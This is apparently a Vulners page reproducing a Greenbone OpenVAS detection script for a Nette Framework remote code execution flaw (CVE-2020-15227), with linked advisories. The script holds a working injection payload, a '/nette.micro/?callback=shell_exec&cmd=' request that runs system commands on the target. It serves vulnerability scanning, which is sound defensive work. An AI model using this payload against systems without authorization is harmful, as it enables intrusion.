Lucene search
+L

Nette Framework RCE Vulnerability (CVE-2020-15227)

🗓️ 25 May 2021 00:00:00Reported by Copyright (C) 2021 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 25 Views

Nette Framework RCE Vulnerability (CVE-2020-15227). Remote code execution vulnerability in Nette framework with impacted versions prior to 2.2.10, 2.3.14, 2.4.16, 3.0.6, 2.0.19, and 2.1.13

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
9 Oct 202013:13
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
15 Nov 202015:30
githubexploit
githubexploit
GithubExploit
Exploit for Code Injection in Nette Application
10 Oct 202002:38
githubexploit
circl
Circl
CVE-2020-15227
14 Oct 202019:14
circl
checkpoint_advisories
Check Point Advisories
Nette Command Injection (CVE-2020-15227)
6 Feb 202100:00
checkpoint_advisories
cve
CVE
CVE-2020-15227
1 Oct 202019:00
cve
cvelist
Cvelist
CVE-2020-15227 Remote Code Execution vulnerability
1 Oct 202019:00
cvelist
debian
Debian
[SECURITY] [DLA 2617-1] php-nette security update
4 Apr 202111:33
debian
debiancve
Debian CVE
CVE-2020-15227
1 Oct 202019:00
debiancve
nessus
Tenable Nessus
Debian DLA-2617-1 : php-nette security update
5 Apr 202100:00
nessus
Rows per page
# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.117454");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2020-15227");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2021-05-25 14:19:28 +0000 (Tue, 25 May 2021)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-04-04 14:15:00 +0000 (Sun, 04 Apr 2021)");
  script_name("Nette Framework RCE Vulnerability (CVE-2020-15227)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2021 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "no404.nasl", "webmirror.nasl",
                      "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94");
  script_xref(name:"URL", value:"https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#");
  script_xref(name:"URL", value:"https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md");

  script_tag(name:"summary", value:"The Nette Framework is prone to a remote code execution (RCE)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The Nette framework is vulnerable to a code injection attack by
  passing specially formed parameters to URL that may possibly leading to RCE.");

  script_tag(name:"impact", value:"This can be exploited to inject arbitrary system commands and
  gain remote code execution.");

  script_tag(name:"affected", value:"The following packages of the Nette framework are known to be
  vulnerable:

  - nette/application versions prior to 2.2.10, 2.3.14, 2.4.16 and 3.0.6

  - nette/nette versions prior to 2.0.19 and 2.1.13");

  script_tag(name:"solution", value:"The vendor has released updates. Please see the references for
  more information.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("list_array_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

if( ! http_can_host_php( port:port ) )
  exit( 0 );

vuln_urls = make_list(
  "/nette.micro/?callback=shell_exec&cmd=",
  "/index.php/nette.micro/?callback=shell_exec&cmd=" );

cmds = exploit_commands();

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  foreach vuln_url( vuln_urls ) {

    foreach pattern( keys( cmds ) ) {

      cmd = cmds[pattern];
      url = dir + vuln_url + cmd + "&what=-1";

      req = http_get( port:port, item:url );
      res = http_keepalive_send_recv( port:port, data:req );
      if( ! res || res !~ "^HTTP/1\.[01] 200" )
        continue;

      body = http_extract_body_from_response( data:res );
      if( ! body )
        continue;

      if( egrep( pattern:pattern, string:body, icase:FALSE ) ) {
        info['HTTP Method'] = "GET";
        info['Affected URL'] = http_report_vuln_url( port:port, url:url, url_only:TRUE );

        report  = 'By doing the following HTTP request:\n\n';
        report += text_format_table( array:info ) + '\n\n';
        report += 'it was possible to execute the "' + cmd + '" command on the target host.';
        report += '\n\nResult:\n' + body;
        expert_info = 'Request:\n\n' + req + '\n\nResponse:\n\n' + res;
        security_message( port:port, data:report, expert_info:expert_info );
        exit( 0 );
      }
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Dec 2023 00:00Current
9.8Critical risk
Vulners AI Score9.8
CVSS 27.5
CVSS 3.18.7 - 9.8
EPSS0.34424
25